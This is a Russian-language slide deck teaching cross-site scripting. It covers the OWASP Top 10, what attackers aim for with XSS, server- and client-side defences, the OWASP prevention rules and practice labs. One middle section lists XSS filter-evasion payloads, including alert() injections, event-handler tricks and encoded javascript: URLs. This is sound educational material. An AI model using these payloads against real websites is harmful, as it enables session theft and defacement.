WebSecurity 

Часть 2

XSS

Stored, Reflected, DOM

Open Web Application Security Project

  • A1 Внедрение кода
  • A2 Некорректная аутентификация и управление сессией
  • A3 Межсайтовый скриптинг
  • A4 Нарушение контроля доступа
  • A5 Небезопасная конфигурация
  • A6 Утечка чувствительных данных
  • A7 Недостаточная защита от атак (NEW)
  • A8 Подделка межсайтовых запросов
  • A9 Использование компонентов с известными уязвимостями
  • A10 Незащищенный API (NEW)

Цели XSS

  • Размещение ложной рекламы;
  • Кража файлов куки;
  • Хищение токенов форм для проведения CSRF атак;
  • Получение бесплатного доступа к платному контенту;
  • Слежение за посещением сайтов пользователем;
  • Изменение настроек браузера;
  • Публичная клевета в адрес отдельного лица или корпорации;
  • Повреждение веб-приложения;
  • DOS-атаки;
  • ...

Доля уязвимых сайтов в зависимости от максимальной степени риска уязвимостей

Доли приложений с уязвимостями высокого уровня риска

Наиболее распространенные уязвимости (доля сайтов)

Рейтинг наиболее популярных атак

Соотношение типов атак, вручную

Средства разработки

XSS locator


';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>


'';!--"<XSS>=&{()}

XSS читы


javascript:alert("XSS")
<IMG src=javascript:alert("XSS")>
<IMG src=# onmouseover="alert('xxs')">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<BODY ONLOAD=alert('XSS')>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072
\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

Подробней на:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

XSS сканеры

Базы

Коллекция из нескольких типов списков, используемых в процессе оценки безопасности, собранные в одном месте. Типы списков включают в себя имена пользователей, пароли, URL, чувствительные шаблоны данных, Fuzzing полезные нагрузки, веб-оболочки, и многое другое.

https://github.com/danielmiessler/SecLists

Защита от XSS

на стороне сервера

  • Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере.

  • Кодирование входных данных.

  • Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение.

  • Указание кодировки на каждой web-странице.

  • Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly.

  • Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита от XSS

на стороне клиента

  • Регулярное обновление браузера до новой версии.

  • Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска.

Защита от XSS

по PentestIT

  1. Используйте экранирование входных\выходных данных.
  2. Используйте подход «белые списки». Подход работает по принципу «что не разрешено, то запрещено».
  3. Указывайте кодировку на каждой веб-странице.
  4. Установить флаг HttpOnly. Этот Флаг делает клиентские куки недоступными через языки сценариев, такие как JavaScript.
  5. Использовать Content Security Policy (CSP). Это заголовок, который позволяет в явном виде объявить «белый список» источников, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.
  6. Регулярно проводите анализ безопасности кода и тестирование на проникновение.
  7. Пользователям рекомендуется регулярно обновлять браузер до новой версии и использовать для них расширения, например, NoScript.

Защита от XSS

по OWASP

RULE #0 - Never Insert Untrusted Data Except in Allowed Locations
RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content
RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
RULE #3 - JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
RULE #4 - CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML
RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
RULE #6 - Sanitize HTML Markup with a Library Designed for the Job
RULE #7 - Prevent DOM-based XSS
Bonus Rule #1: Use HTTPOnly cookie flag
Bonus Rule #2: Implement Content Security Policy
Bonus Rule #3: Use an Auto-Escaping Template System
Bonus Rule #4: Use the X-XSS-Protection Response Header​

Продвинутое использование XSS

Где потренироваться?

  • https://google-gruyere.appspot.com
  • http://www.dvwa.co.uk/
  • http://www.itsecgames.com/
  • http://xss-game.appspot.com
  • https://www.hacksplaining.com
  • https://habrahabr.ru/company/pentestit/blog/261569/
  • https://habrahabr.ru/company/pt/blog/138779/

Полезные ссылки

  • https://forum.antichat.ru/threads/20140/
  • http://www.securitylab.ru/analytics/432835.php
  • https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  • https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  • https://habrahabr.ru/company/pentestit/blog/211494/
  • https://www.owasp.org/index.php/HttpOnly
  • https://habrahabr.ru/post/129173/
  • https://habrahabr.ru/company/pt/blog/149152/
  • https://kali.tools/?p=1535

Вопросы?

To be continued ...

Web Security Part 2

By James Jason

Web Security Part 2

  • 687